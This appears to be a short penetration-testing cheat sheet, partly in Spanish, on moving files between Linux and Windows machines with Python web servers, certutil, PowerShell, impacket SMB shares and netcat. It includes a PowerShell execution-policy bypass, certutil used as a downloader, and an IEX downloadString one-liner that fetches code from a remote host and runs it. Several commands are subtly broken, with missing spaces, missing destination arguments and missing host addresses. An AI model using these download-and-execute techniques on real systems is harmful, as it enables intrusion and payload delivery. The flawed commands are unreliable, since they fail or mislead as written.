Comment on page

File Transfer

How to transfer files with Linux and Windows

Linux -> Windows

Certutil (exe)

First establish a web server with python in Linux terminal
python -m SimpleHTTPServer 8000
Now in windows execute
certutil.exe -f -urlcache -split http://<lhost>:8000/file_name file_name_output


First establish a web server with python in Linux terminal
python3 -m http.server
$ python -m SimpleHTTPServer
With PowerShell in cmd we have several options.
powershell -exec bypass -nop -c "(New-ObjectNet.WebClient).DownloadFile('http://<rhost>:<portwebserver>/<file>')
powershell IWR -uri http://<rhost>:<portwebserver>/<file> -OutFile C:\\<file_name_output>
powershell IEX(New-Object Net.WebClient).downloadString('http://<rhost>:<portwebserver>/<file>')
En windows crear una sesion powershell. Simplemente escribe powershell
Invoke-WebRequest http://<rhost>:<rport>/<file> -o <nombre_archivo>



To windows 10
impacket-smbserver smbFolder $(pwd) -smb2support -username <anyuser> -password <anypw>
To other windows
impacket-smbserver smbFolder $(pwd) -username <anyuser> -password <anypw>
impacket-smbserver smbFolder $(pwd)


net use \\<rhost>\<smbFolder> /u:<anyuser> <anypw>

Linux -> Linux


Machine to store the remote file (client):
nc -lvp 4444 > file_name
Machine where you have the file to transfer (server):
nc -w 5 4444 < file_name
Validate integrity, execute it in both systems, hash needs to be the same:
md5sum file_name

Windows -> Linux

Shared folder

On Linux, we create the shared folder:
impacket-smbserver nameSharedFolder $(pwd) -smb2support
And copy file:
copy \\\nameSharedFolder\
In case of error like this:
ERROR: The specified server cannot perform the requested operation.
We need to try with credentials:
impacket-smbserver nameSharedFolder $(pwd) -smb2support -username lanz -password lanz321
And now on Windows machine we "linked" the shared folder in a network:
net use y: \\\nameSharedFolder /u:lanz lanz321
dir y:\
copy y:\